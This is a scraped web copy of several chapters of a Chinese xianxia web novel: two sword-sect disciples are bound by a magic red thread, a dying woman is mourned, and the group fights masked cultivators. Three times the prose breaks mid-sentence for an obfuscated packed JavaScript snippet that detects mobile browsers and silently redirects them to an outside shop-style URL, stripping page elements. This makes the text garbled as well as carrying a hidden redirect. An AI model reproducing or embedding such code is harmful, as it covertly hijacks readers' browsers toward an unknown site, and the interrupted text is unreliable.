孟知匀镇静如常地关上门,然后俯身将脚下的死鸟提起来,快步走到薛昱跟前,将鸟扔到了他面前:“这似乎不是寻常的鸟雀。” 薛昱点头:“是听音鸟,一些宗门专门养来窃听、传音的,可将其听到的话传回听音阵。” 孟知匀在他旁边坐下,有些稀奇:“在这种深山老林里,有什么窃听的必要?难道是——” 她抬头看向薛昱,眨了眨眼睛:“冲着我们来的?” 薛昱不置可否,骨节分明的长指夹着那枚石子把玩,然后手腕猛一发力,又从阮家墙头打下了第二只听音鸟。 还挺阴魂不散。 也不知道大晚上有什么好窃听的,他们几个也没人爱打鼾、说梦话啊。 孟知匀扫了一眼面前的死鸟,心里觉得晦气,不动声色地将它往旁边踢了踢。 “半夜不睡觉,出来做什么?”薛昱往外探出了几道灵气,终于偃旗息鼓不再捡石子打鸟了,轻描淡写地瞥了孟知匀一眼。 “来替师兄守夜啊。”孟知匀抱着自己的破剑,打了个哈欠,一双潋滟明眸显得水汪汪的,“距离天明还有几个时辰,师兄可以眯一会儿,养养神。” “不用,你回去睡吧。”薛昱一言难尽地看着自己这个连睁眼都艰难的师妹,觉得需要养神的另有其人。 孟知匀却摇了摇头,摸出来一瓶价值两文的薄荷清凉油,用食指蘸了一点抹到了自己人中上,瞬时便打了个喷嚏,清醒了。 薛昱轻笑了一声:“你从哪得来的这么多乱七八糟的东西?” “别看它们不起眼,每一样都有大用处呢。”孟知匀收起清凉油,不经意间碰到了腰间系着的青鸾铃,院内登时便响起了一串清脆的铃声。 孟知匀忙拿手去捂铃铛,生怕把屋里睡着的那几个给吵醒了。 薛昱的注意力也被铃铛吸引,眉头轻微皱了一下,问道:“什么东西?” “青鸾铃。”孟知匀见屋内没什么动静,这才松了口气,“是昨日在腾云楼知音会上讨得的彩头。” “看起来像是桃花潭的东西。”薛昱向来淡漠,这次提起“桃花潭”时,却难得地带了点意味不明的情绪。 孟知匀敏锐地觉察到了二少主的不同,心想没听说桃花潭和钟粹山不对付啊,面上却不动声色地点了下头:“此物的确来自云梦州。” 薛昱安静了几息,终究忍不住扭头对她说:“能否借我一观?” 难不成他和桃花潭某个人有一些私人恩怨?怎么对个铃铛这么在意? 孟知匀心里疑惑,却仍旧解下铃铛递给他。 薛昱捏着青鸾铃仔细打量了一番,见其似乎真的只是个普通的、蕴含了些许灵气的铃铛,这才稍稍放心。可没等他把东西递还给孟知匀,手里的铃铛却忽然震颤了一下。 铃铛壁上振翅环绕的那只青鸾鸟昂首啼叫了一声,铃铛应声碎裂,藏在其间的一根红绳以迅雷不及掩耳之势缠到了周遭二人的尾指上。 孟知匀半晌没反应过来,然后愣愣地抬起左手。系在手指上的那根细线看似已经消失不见,但是尾指处的轻微的绑扎感依然存在。 她看向脸色冰冷的薛昱,试探性轻声叫了一下:“师兄?” 能不能解释一下,她的二两银子怎么就不翼而飞了? 薛昱闭了下眼睛。 他就知道,从桃花潭传出来的东西,必然暗藏玄机,冷不丁便会给人一下子。 “应该是桃花潭的秘术。”他语调如常地开口解释,心里却很想当即杀去桃花潭给苏秋白这个始作俑者捅两个血窟窿。 孟知匀不明所以地勾了勾左手尾指,随后便发现薛昱的右手尾指也同时动了一下。 所以,刚刚那根红线自发地系在了他们两人的尾指上,一方动一动,另一方便也能感受到? 她伸手去摸那根红线,企图将其解开,却怎么也不得其法。 薛昱忽然握紧了右手:“不必白费工夫。” “桃花潭向来爱钻研奇巧秘术,用寻常方法难以破解,等回了宗门,我去藏书阁查阅一下典籍,其间或许有解法。” 孟知匀这才放弃:“好吧,有劳师兄了。” 但是她的二两银子又该找谁去赔? 看着她一脸闷闷不乐的样子,薛昱身上的寒气更重了,将自己身上唯一的一枚玉坠递给她:“赔你。” 孟知匀陡然一惊,差点以为他会读心术,直至对上他那双清凌凌如山泉寒潭的眼睛,才把心头疑虑压回去,低头打量起他手心里的那枚玉坠。 白玉无瑕,成色极佳,其间还缓缓流转着一枚泛着淡淡雾气的“昱”字。 这一看便是二少主心爱的随身之物,而且价值比她那个白嫖来的青鸾铃高了不知几百倍,她就算再穷,也断断不是个喜欢讹诈的狡猾小人。 何况薛昱也不是故意的,那铃铛似乎本来就有古怪。 她笑了一下,将薛昱的手推回去:“不必了,本来就不是什么贵重东西,没了也就没了。” 薛昱却挑了下眉:“不喜欢这个?” “啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178606|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”孟知匀被他问得一愣,忙摆了摆手,“没有没有,只是君子不夺人所好,师兄因为一个不值什么钱的铃铛,将此物赔给我,我拿了也于心不安。” 薛昱收回了玉坠:“那改日再赔你一个铃铛。” 嗐,这多客气。 孟知匀又象征性推脱了两下,直到对上薛昱那双似笑非笑的眼睛,知道自己的小心思已然被看透,这才噤了声,抱着剑开始仰头数星星。 “想好回去怎么跟戒律堂禀报了吗?”薛昱实在闲来无事,便又捡起一颗石子,在手里抛着玩。 孟知匀想了一下,只道:“如实禀报。” 钟粹山一直以来的准则已经刻在了山门前的巨石上。 无愧于天,无愧于地,无愧于己。 而阮卿依之举,正契合了此中真意,就算是掌门亲自前来,也不会对此事有什么苛难。 唯一的疑点,便是她那从天而降的灵脉,但是她铁了心不愿开口,他们也无能为力,只能将她所言告知宗门,看是否需要继续追查。 薛昱“嗯”了一声,垂眸猛地一握,将石子捏成了齑粉。 * 翌日。 薛逢梨向来作息规律,起了个大早,结果一开门就看到自家师兄师姐坐在廊下,一起目光幽幽地看向她。 糟了,她昨晚睡得过于香甜,都忘了要起床帮着师兄师姐守夜了。 孟知匀打了个哈欠,指了指院中木桌上的包子:“吃早饭吧。” 薛逢梨不好意思地笑了笑,看到热气腾腾的大包子,有些疑惑:“这荒山野岭的,也有人卖早点吗?” 孟知匀走过来,也顺手拿了一个:“师兄去城里买的。” 薛逢梨啃包子的动作一顿,拿余光偷偷瞥了薛昱一眼,小声道:“那真是太感谢师兄了。” 虽然她自幼在钟粹山长大,与宗门里绝大多数人的关系都很好,但是由于霜雪剑一脉追求“静修”,在剑道上也行无止境,所以倒是没怎么见过这个大名鼎鼎的二少主,只是从师父、长老和前辈嘴里得知——他是他们这一辈剑修中最拔尖的那一个。 往常她只以为这个师兄非常淡漠,似乎世间万物,除了手中剑,便没有其他的东西值得他放在心上。 但是如今一起在山下走这一遭,她倒觉得薛昱师兄实则是个面冷心热之人,在某些方面倒和素来温柔平和的薛旻师兄颇为相似。 阮卿依和孙二娘也很快起了床,几人又彻底把屋里屋外打扫了一遍,然后合计着今日要吃饺子。 孟知匀看着篮子里剩下的菜,正极力回想饺子馅的做法,薛昱就直接把篮子拿走了,挽起袖子,手法非常干脆利落地开始剁饺子馅儿。 等等—— 她扶着厨房的门槛,一脸空白地看着薛昱:“师兄,你不是在劈柴吗?” 这不对吧?他平日里一副十指不沾阳春水的大少爷模样,居然会下厨? “雾凇和醉春在劈了。”薛昱头也没回地开始和面。 孟知匀侧身往外看,恰好和目瞪口呆的阮卿依几人面面相觑。 那两柄绝世名剑,的确正在院中热火朝天地劈柴。 16. 音修 孟知匀本来想进厨房打个下手,结果发现自己擀出来的饺子皮不是太厚就是太薄,根本包不成饺子,只能悻悻罢手,非常有自知之明地离开了厨房。 院子里的阮卿依三人正在摘柿子,姐妹三人在树上树下嬉笑打闹,惹得院墙上停着的鸟雀都振翅飞走了。 孟知匀看着薛逢梨越爬越高,忍不住出声提醒:“哎,上面的树枝太细,你小心点儿。” 薛逢梨抱着一怀的柿子冲她笑:“放心吧师姐,我御风的本事虽然比不过你,但也不至于摔了。” 孙二娘不敢爬太高,站在树杈子上给树下的阮卿依递柿子:“你快尝尝,这个包准甜!” 阮卿依佝偻着背,扶着树干,将柿子一颗一颗妥善地收进篓子里:“这么多柿子,还能做些柿饼,你们走的时候可以捎回去给亲朋好友。” 孙二娘鼻头一酸,慢慢从树上爬下来,没成想竟一脚踩空,身体重心不稳地就要往下滑。 孟知匀上前一把接住孙二娘,然后心有余悸地对还在树上的薛逢梨吆喝:“祖宗,你也赶紧下来吧。” 孙二娘踏踏实实落了地,这才舒了口气:“多亏有你在。” 孟知匀笑道:“没事就行。” 随后,在她目光的逼迫下,难得爬树的薛逢梨还是抱着一兜柿子从树上御风下来了。 “要是踩空了,你连诀都来不及捏。”孟知匀走过去拂掉她肩头的落灰,语重心长地说道,“而且,万一这些柿子砸下来怎么办?树底下的人岂不是要遭殃了?下次别爬那么高了。” 薛逢梨把柿子放进篓子里,温声道:“我知道了,师姐。” 然后她又小声嘟囔了一句:“你怎么像师父一样。” 孟知匀无言片刻。 合着说她年纪轻轻就一把年纪了呗。 不等她再反驳什么,左手尾指忽然勾了勾。 薛昱的声音从身后传来:“吃饭。” 二少主会做饭这件事已经足够令人惊讶了,尤其是在以修行为第一要务的霜雪剑一脉,他居然愿意花时间去学厨艺,实在让人匪夷所思,所以几人都没指望这顿饺子能有多好吃,煮熟了就很不错了。 低头看着碗里的花边水饺,孟知匀夹起一个咬了一口,居然十分难得地从中尝到了妈妈的味道。 没想到薛昱的厨艺居然和她妈不相上下。 身为钟萃山新一代中天资最好的剑修,居然连这个也要卷吗? 薛昱看她一副失神的模样,眉头不禁微皱:“怎么,不好吃?” 孟知匀回过神,赶紧摇了摇头:“没有没有,很好吃,只是没想到你居然会做饭。” “我哥教的。”薛昱淡淡收回目光,“他说男人都得精通厨艺。” 孙二娘正在啜饺子汤,闻言差点喷出来,然后和阮卿依目光相对,二人谁也没敢多说什么。 毕竟她们只是肉体凡胎,不懂他们修行中人的规矩,说不定在凡间看起来荒谬的事,在修真界却是让人习以为常的呢? 孟知匀则赞同地点了点头,心道这兄弟俩还挺讲男德。 薛旻身为掌门薛琛的长子,已经出师,入了戒律堂,俨然是下一任掌门,所以虽然和她是正儿八经一个师父教出来的师兄妹,二人却没怎么见过面。 但是从薛昱和薛逢梨口中偶尔得知他的点滴,倒很难不让人心生好感。 难得有一个阳光明媚的下午,几人吃完饭后从屋内搬了几张椅子出来,坐在院子里晒太阳。 孟知匀看着阮卿依眉目舒展的模样,不免有些钦佩。 她曾经总是在网上刷到类似的提问——在你人生的最后一天,你要做什么? 最后一天,实在太短,可是她还有很多很多事情没来得及去做。身为一个普通人,从小到大,一直被学业、工作推着向前,受制于贫穷和社会规训,她好像几乎没什么完全空闲的时间可以去做自己想做的事情。 她想要赚很多钱,想要带妈妈去旅行,想要有朝一日可以过上不用被推着走的日子。 但是后来,她拿到了高薪的offer,时间却更加稀缺,仿佛会一直在身后等她的母亲也突然离世。 突然到,她没有做好任何心理准备,那一纸病危通知书如同一个从天而降的判决,告诉她——你再也没有家人了。 她的努力似乎顷刻间便失去了意义。 然后,她浑浑噩噩地上班,浑浑噩噩地来到这个世界,继续被系统剥削压榨,被一个又一个任务推着前进,她已经很久都不知道,自己究竟想要做什么了。 或许只是像今天这样,躺在太阳下悠闲地小憩。 但这又的确是阮卿依生命中的最后一天,是油尽灯枯前最后一次的阳光明媚。 她却如此从容。 她拿出那支玉笛,吹奏起家乡的童谣。坐在一旁的孙二娘则和着她的笛声唱了起来,歌声宛转悠扬,仿佛这只是她们相识相知后的普通的一天。 “二娘。”阮卿依握着笛子,看向自己的好友,忽然说道,“你很勇敢。” “爹娘给我取这个名字,是想要我一生都能够有所依靠。但是父母会年华老去、夫婿会绝情背叛、朋友会逐渐走散,唯有自己,才是真正值得依靠的。我以前不明白你为何不肯嫁人,现在看来,你才是对的。” “愿你,永远勇敢,平安喜乐。” 孙二娘握住她满是皱纹、状如枯木的手,泪如泉涌,却一句话也说不出。 “好了,”阮卿依给她擦了擦眼泪,然后眺望熟悉的远山,“今日天气很好。” 是个分别的好日子。 她靠在椅背上,缓缓闭上眼睛,唇角却弯出了一个恬淡的弧度。 * 半月前,李宅。 月明星稀。 阮卿依蜷缩在恶臭猪圈的一角,向来喜爱洁净的她此时却满身脏污,警惕地看着在另一边吃食的两头猪,生怕它们再冲过来拱自己。 她的肋骨好像断掉了,呼吸间都带有血腥气。 如果可以变成厉鬼,让他们偿命,她可以毫不犹豫地掐死自己。 但是李家不会给她这个机会的。 他们会请宗门前来超度她,驱逐她的残魂,甚至会用镇压厉鬼的七星钉将她钉死在棺椁里,永世不得超生。 无论生死,她对上他们,都无异于以卵击石。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192921|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“喂。”一道陌生的男音突然打断了她的思绪。 她下意识打了个冷战,然后钝钝抬起头,看到一个戴着桃花面具的男子掩着口鼻站在猪圈旁。 “你就是这户人家的疯儿媳?” 她攥紧了衣袖,感受到了从未有过的颤栗。 她点了点头。 那人饶有兴味地打量了她一眼,仿佛在看什么待价而沽的东西,然后问道:“你恨他们吗?” 阮卿依没有说话,那双眼睛里的怨毒却难以遮掩。 男子眨眼间便到了她面前,蹲下身平视她:“用你后半生的性命,换取一个报仇的机会,你愿意吗?” 阮卿依瞪大了眼睛。 “不过,如果你可以将下山调查的钟粹山弟子引进指定的地点,我可以在你报仇后给你续命的良药。这桩生意对阮姑娘来讲,可是稳赚不赔。怎么样,要答应吗?” 一个成为修士的机会。 一个亲手报仇的机会。 阮卿依在弥留之际回想起那日,点了点头。 她愿意用后半生的性命去换取复仇的机会,却不愿为了苟活将无辜之人引入圈套。 如今这样便很好,死得其所,亦无亏欠。 * 薛昱用灵火火化了阮卿依的尸体,孟知匀则超度她的魂灵轮回往生。 孙二娘在一旁哭得不能自已,最终使骨灰里也不慎跌落了她的几滴眼泪。 薛逢梨心里也难过。她本就对阮卿依心怀愧疚,经过这两日,几人的感情愈发深厚,看着阮卿依就这么走了,更是她在短短十五载的人生中,头一次经历生离死别,只能木木站在一旁,强忍着不掉眼泪。 她不明白,这样一个温柔善良的女子,为什么会被逼到这种地步,竟要靠燃尽自己的生机,才能换得一个亲手报仇的机会。 薛昱将阮卿依的骨灰收拢进坛子里,然后递给孙二娘:“节哀。” “天色不早了,”孟知匀安抚性轻拍孙二娘的背,“我们及早去山林吧。” 孙二娘心有不舍,但是想到这是好友的遗愿,便点了下头,紧紧抱住骨灰坛,跟着几人走进了那片曾经拘禁了李家一十二口人残魂的山林里。 李家人的魂灵早已在自相残杀中消散,如今的山林唯有鸟雀归巢之声。 这里距离她父母的坟墓很近。 她不想让爹娘在九泉下知晓她凄惨的结局,却又想要守着他们,便选了这片山林。 走到阮卿依曾经坐过的秋千旁,孙二娘手指颤巍巍地抓了一把骨灰,在寒冷的朔风中将骨灰洒了出去。 “慢着。”薛昱忽然按住了她撒骨灰的手,看向逐渐被黑暗笼罩的林中阴影,声音如凛凛寒泉,“既然来了,还不敢露面吗?” 孟知匀和薛逢梨一左一右将孙二娘护在了中间。 树影摇曳,落叶簌簌。 有人抬步从林子深处走了出来,一共六人,对他们隐隐形成了包围之势。 孟知匀看向其中三个拿着琵琶、扬琴和箫的面具人,眉头一皱:“音修?” 众所周知,北凛州以剑修、刀修为主,而天下音修,则十有八九出自云梦州。 17. 通灵 六人脸上都戴着刻了桃花的半扇木面具,只露出了口鼻,一言不发地就开启了合攻之势。 三个音修处于最外围,琴笛合奏,姿态优雅,其乐声却如寂夜惊雷,激荡刺耳,令听者头晕目眩。 “护好孙二娘。”孟知匀一把将薛逢梨推到自己身后,拔出破剑就同薛昱一起迎了上去。 对面除开三个音修,剩下的三人中,两人甩出了鞭子,另一个则亮出了一柄形似弦月的弯刀。 薛逢梨及时点了孙二娘耳边的穴位,以自身灵气为障,屏退了震荡冲来的几重音波。 孟知匀闪身躲过一道迅如雷霆的鞭击,回手直接格住那柄直冲孙二娘而去的弯月刀,细碎的枝蔓自剑柄向前蜿蜒,转瞬便以枝叶补全了破剑上的六个豁口。 “师兄,你去解决那三个音修!这边交给我!”刀剑相擦而过,她翻身从刀修头顶掠过,一剑刺向藏匿于树下的修士,于数道闪电中破出一口,裹挟着濛濛细雨的剑气直逼其咽喉。 但是场面到底受到了音浪的影响,原本无匹的剑气居然未曾将那人一剑封喉,震颤几下后反而被分化了威力,只在其肩膀、腰腹处留下了几道深可见骨的剑痕。 乐音如滚滚惊雷,鞭法如霹雳列缺,那刀修的刀法更是古潭静水,缠缠绵绵又带着不绝杀气,几人配合下来,竟是搅得整片山林如入雷雨之境。 其间最影响人心智的,便是那三个躲在后面的音修,若是修为不够,不消半个时辰,听者便会因心绪紊乱而走火入魔,甚至狂乱而亡。 薛昱本想将醉春给孟知匀,但看时机不对,便没再多言,反手一剑劈开面前的闪电,凛冽的寒风眨眼间便让周遭的草木披上了一层寒霜,那道剑气顺着其中一人的鞭子蜿蜒爬上,将其内灵气完全凝在了鞭子内,断了其间共鸣。 随后,他一脚踹开这个不知死活仍旧要拦他的修士,带着风雪劈向了那三个弹琴吹笛的音修。 孟知匀蓦然攥紧了手指,刚刚落到持鞭修士身上的剑气竟化作了几簇藤蔓,直接扎进了那人血淋淋的伤痕里。 “啊——”她手里的鞭子落了地,蜷缩在地上抱头哀嚎,仿佛正在经历酷刑。 而那个刀修则看也没看同伙一眼,趁机一刀砍向孟知匀的背脊。 孟知匀回身迎上她的缠绵刀气,却感觉自己一剑下去,仿佛打在了潺潺流水之上,毫无着力,反倒被对方的刀气引着走。 她剑势回旋,平削向对方咽喉,在刀锋与剑尖相碰之时,绵绵春雨斜飞而去,竟让那面具之上真的长出了几朵粉嫩的桃花来。 那双古井无波的眼睛终于有了松动,刀修收敛刀气,伸出左手按住了即将支离破碎的桃花面具。 一旁的薛逢梨则早早祭出了湫水剑,以清秋剑法的剑气压阵,缔造出了一个隔绝音波的结界。 不然,以孙二娘的凡人之躯,不消片刻功夫,便会被音浪震得七窍流血。 孙二娘怀里抱着阮卿依的骨灰,结界外的刀光剑影她也看不分明,只能站在后面干着急,然后便忽然听到了一道极小声的“铮——” 她甚至来不及回头,一根细丝便要直直没入她的后心,然而不等其贴近,长命锁里就流出了一道淡碧的灵气,屏障一般护住她,直接将那根细丝化了去。 随后,一道霸道无匹的剑气从玉佩中冲出,直扑向细丝来处。 “噗通。”一颗人头眨眼间便落了地。 孟知匀分神往后瞥了一眼,心中暗笑。 这么脆皮还当刺客,几条命都不够使的。 那刀修节节败退,终于在自己面具即将碎裂之前倾注灵气拼力一击,将孟知匀稍稍击退了些许,然后收敛灵气,如水雾般融入了夜色中,转瞬便没了踪迹。 处理掉三个音修的薛昱提着剑走来,看了一眼地上已经化成血水的尸体:“他们身上带有化尸咒,身死之后立刻便会化为一滩血水,不留痕迹。” 孟知匀收剑入鞘,点了下头:“看起来像邪修。” 薛昱握紧了雾凇的剑柄,整个人仿佛也被霜雪披了满身,目光长久停留在那片一点一点消失不见的血水上。 “这几个音修出自云梦州,那两个用鞭的应该出自南华州,其鞭法中的雷霆之意颇有万听谷之风。” 孟知匀一愣:“万听谷?” 这可是三大宗门之一,以医修居多,武器多为鞭子和暗器,倒是和刚刚这几人的路数对上了。 “不一定是万听谷。”薛昱补充道,“早年萧家姐妹阋墙,掌门的姐姐带着一批毒修叛离万听谷,另建了个邪修门派,取名为万花谷,多年来暗中盘踞在南华州,犯下无数杀戮。” “此事还是回禀戒律堂,请掌门和长老们定夺吧。”孟知匀对邪修了解不多,不敢多加妄言,便看向攥着长命锁瑟瑟发抖的孙二娘,问道,“伤到了吗?” 孙二娘回过神,摇了摇头:“多亏了仙师们留下的剑气,那贼人没能得手便死了。” “我……只是想来有些后怕……” 万一她今日没有这几道剑气护身,隐藏在后面那人,不消亲自动手,便能轻轻松松要了她的性命。 她先前只觉得修行中人可肆意行走江湖,有说不尽的快意与自由,今日遇上这一遭,倒是打消了不少艳羡之心。 比起这些血雨腥风,她还是更喜欢安安稳稳地活着,好好过日子。 薛逢梨安抚道:“没事,等回了平松县,我们会让钟楼的轮值弟子着重关照你,不会让你有事的。” 孟知匀走过去拍了拍她的手,轻声道:“别怕,今日这几人应该是冲着阮卿依的尸骨来的,将骨灰尽早安置了,日后想必他们不会再多此一举去找你麻烦。” 孙二娘点了点头,强压下心头的惊慌,继续在山林里撒骨灰。 薛昱看向孟知匀的剑鞘,问道:“你的剑……” “摇摇欲断。”孟知匀拿着剑的手都不敢用力,生怕有什么灵气波动,直接将剑兄彻底送走。 薛昱无言了片刻,终于吐出了两个字:“……节哀。” 孟知匀点开系统面板,看向那个0.03的存款,一时没忍住,露出了一丝苦笑。 很好,以她现在的资产水平,大概可以买到一把新剑的两千分之一。 左手尾指勾了勾。 她抬起头,对上了那双明眸。 薛昱难得好奇,低头看着她问道:“这剑可有什么来历?” 能让她这么喜欢的剑,应该大有来头。 什么来历?孟知匀轻轻摩挲了一下剑鞘,想起了刚被拉到钟粹山的那天。 她按照系统发的邮件去拜会了翠微长老,由翠微长老领着上了戒律堂,领到了弟子腰牌,然后在养剑堂随手拿了一柄剑。 没错,就是在最靠近门口的地方随手一拿,就拿到了这柄破剑! 要是早知道她享受的是大厂外包待遇,剑拿了就不换不修,她肯定不会这么草率地做决定,高低得在养剑堂研究个几天几夜,从中挑选出最耐用的那一把来。 可惜,为时晚矣! 孟知匀叹了口气,摇了摇头,摆出一副不想提的模样,干脆坐在了树下,开始小心翼翼地擦剑鞘。 薛昱没得到想要的答案,再看向那柄剑时,目光中便多了几分审视。 “师兄?” “嗯?” “你看我干嘛?”孟知匀忍无可忍地搓了搓胳膊,怪冷的。 薛昱收回目光,心头的郁气却纠缠不去,使得身后背着的两柄剑都沾上了厚厚一层寒霜。 等孙二娘将阮卿依的骨灰安置好,几人便回了阮家小院。晚上薛逢梨自告奋勇要守夜,被师兄师姐齐声拒绝,并在师姐的胁迫下回屋睡觉去了。 孟知匀拿了两个柿子,走到廊下,递给薛昱一个:“今晚我来守夜吧。” 薛昱接过柿子:“不必,我睡不着。” 孟知匀在他身边坐下,心里默默羡慕了一下高精力人群,然后看了下手里的柿子,又看了看薛昱手里的柿子。 “怎么了?”薛昱扭头看她。 孟知匀笑道:“师兄,我觉得冻柿子比较好吃。” 薛昱手里那颗,已经被他身上的寒气上了冻,变成了冻柿子。 简直是行走的冰箱! 在孟知匀热切的目光下,薛昱直接伸手跟她交换了柿子,醉春剑鞘上的一层寒霜也褪去了大半。 孟知匀啃完一整个冻柿子,感觉这日子终于有点甜滋滋的味道了。 生活嘛,就应该像现在这样,在秋日的夜晚,悠闲地赏月,不仅有甜蜜的柿子,还有相伴的美人,实在让人赏心悦目。 她偷偷拿余光瞥了师兄一眼。 薛昱侧目冲她挑眉:“还要?” “不用不用。”孟知匀咳了几声,欲盖弥彰地伸了个懒腰。 谁知今晚的薛昱颇有点不依不饶,摸着下巴寻思了一会儿,直截了当地问她:“你总是看我做什么?” 被他抓包到的都不止一次。 “你好看啊。”孟知匀索性豁出去了,又轻飘飘瞥他一眼,仿佛说的是什么理所当然的事情。 薛昱愣了一下。 自从他娘去世,任何人见到他,都只会赞一句天资卓绝,没人再说过他的相貌,他自已对此当然也不甚在意,只觉得不过一副皮囊而已,没什么好留意的。 今日被她直白一说,反而让他一时不知道该怎么回话。 孟知匀后知后觉自己话里有调戏意味,忙找补道:“就像看到好看的花,我会驻足观看,见到像师兄这样的大美人,当然也难免多看几眼。师兄如果介意的话,我不看便是。” 薛昱笑了一下,说出的话却自带冷意:“所以在师妹心中,我和任人观赏的花也无甚区别?” 不是,这人到底会不会抓重点?这句话是这么个意思吗? 孟知匀在心中叹息,解释道:“只是打个比方,我的意思是,师兄很好看,所以我忍不住多看了几眼。” 薛昱淡淡收回目光,心道早这么说不就得了。 看就看了,他又不介意,干嘛找那么多借口。 “叮——”系统邮件不合时宜地抵达了她的邮箱。 孟知匀心头一惊,心想不是还在出外勤吗,怎么又来给她发邮件了?什么事回宗门再说不行吗? 难得的一个空闲的晚上,居然还要被系统打扰。 她深吸了一口气,平复了一下心情,然后手指微动,点开了邮件。 “向上管理取得一定进展,本月绩效考评:A,本次任务项目奖金:20两,请再接再厉哦。” 孟知匀忍不住又看向薛昱。 向上管理?最近她身边唯一算得上领导的就是这个二少主,难道系统的月末考评和项目评估也要参考薛昱对她的看法吗? 难道她一直以来理解错了?系统的位格并没有那么高,反而和钟粹山的领导班子关系密切?所以,系统的本质其实是钟粹山的HRBP? 但是钟粹山弟子似乎都不知道系统的存在,因为以往她去帮人打杂的时候,最常听到的一句话就是——我正想有人帮我xxx呢,你就来了。 “别看了。”她陷入沉思后,目光半晌没有挪动,使得薛昱忍不住出声提醒。 他目望远山,脸上没什么表情,唯有耳垂染上了一点薄红,像透粉的白玉。 “哦。”孟知匀回过神,放下心中疑窦,又尴尬地抱着剑开始抬头数星星,数着数着便想起了今日那个刀修。 一共七人,除去那个一直躲在暗处的脆皮刺客,剩下六人中,以身形来看,那三个音修显然是男子,那两个使鞭子的和刀修是女子。 那双眼睛,沉如静水深潭,让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197637|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得似曾相识。 在哪见过呢? 她冥思苦想了半天,仍旧在脑海中寻觅不到其踪迹,最终只得将目光幽幽投向薛昱:“师兄。” “嗯?” “我想通灵,劳烦你为我护法。” 薛昱扔掉手里的雪枝,拿眼风扫她:“为谁?” “我。”孟知匀微笑。 * 静水谷。 孟知匀如行尸走肉般行走着,切实体会到了头晕目眩的感受。从林子里摘来的最后一枚涩果也在早上吃掉了,她彻底走到了山穷水尽的地步。 果然,裸辞要谨慎呐。 谁知道这该死的系统居然这么狠,封了她的灵脉不说,居然还让她变成了流民,连城都进不去,只能在山野之间流浪。 哦,准确来讲,她这种没有土地且居无定所之人,应该叫流氓。 偏偏钟粹山附近的山野没什么百姓居住,断了她要饭的后路。 循着水声,她拖着又累又饿的身体到了一处山谷,在溪水旁捧起水便想喝进嘴里。 “等一下!” 她被这中气十足的声音吓了一跳,清凉的溪水顺着指缝流了下去。 一个打扮干练、长相柔美的女子三两下便走到了她面前,解释道:“这溪水上游流经我们宗门,大家经常在溪水里洗刀,里面沾染了不少刀气和血气,凡人喝了对身体无益。” 孟知匀抿了抿干巴巴的嘴唇,脱力地坐在溪边,感觉自己不如就这样躺着等死算了。 她真的走不动了。 “姑娘,你是附近村子里的吗?”女子见她一脸生无可恋,心里不免担忧。 孟知匀麻木地点了下头,信口胡诌道:“在林子里迷路了。” 其实也不算全是假话,毕竟她是真的找不到回钟粹山的路了。 “那你先跟我回去,等吃饱喝足了,我送你回家。”女子见她不是一心寻死,这才放了心,朝她伸出一只手,“我们宗门就在附近不远处。” 孟知匀抓住她的手,借力站起身,随手拍了拍身上的灰尘,几乎是感激涕零地看着她:“多谢。” “小事而已,你今日到了我们静水谷,也是缘分一场。”女子的头发扎成了高高的一束,言行之间爽朗利落,让人不由得心生好感。 一路上,她照顾着孟知匀虚弱至极的身体,放慢了步调,最终带她从后门回到了静水谷。 二人直奔厨房。 由于是下午,厨房还没开始做饭,她便先找了几个馒头出来,塞给孟知匀。 孟知匀已经很久没吃过正经饭了,看见馒头就一口咬了上去,差点把自己噎死。 “哎,你慢点儿,没人跟你抢。”女子忙给她倒了杯水,拍着后背给她顺气。 可是不等孟知匀将这口馒头咽下去,便有两个少女急匆匆地跑了进来,抓住女子的手就开始哭诉:“素月姐姐,他们……他们又来了!” 谭素月泰然若素地替她们擦了擦眼泪,然后回头对孟知匀露出一个歉然的笑:“抱歉,仇家寻上门了,今日怕是要食言了。” 孟知匀把馒头咽下去,缓过了一口气,对她摆摆手:“有这一口馒头,已经算是救我一命了。” “晓琳,你带这位姑娘去我们的秘密出口,务必把她送出去。”谭素月握紧自己的弯月刀,临行之前特意吩咐了一句。 晓琳点点头:“放心吧师姐。” 随后,孟知匀跟着晓琳从厨房后面偷偷绕了过去,然后扒开高墙下的草丛,露出里面的”一个狗洞。 “对不住了,姑娘。”晓琳有些不好意思,“今日前后门都有人堵着,只能委屈你从这里出去了。” 孟知匀对她笑了一下,道谢之后便麻溜地钻狗洞离开了静水谷宗门,在外面的野草丛里深一脚浅一脚地往前走,终于因体力不支倒在了半山腰的树下。 最后,她朝着山谷的方向看了一眼,模糊的视线中隐隐透出了冲天的火光。 她还以为自己看错了,刚想揉揉眼睛再看一下,便彻底昏了过去。 * 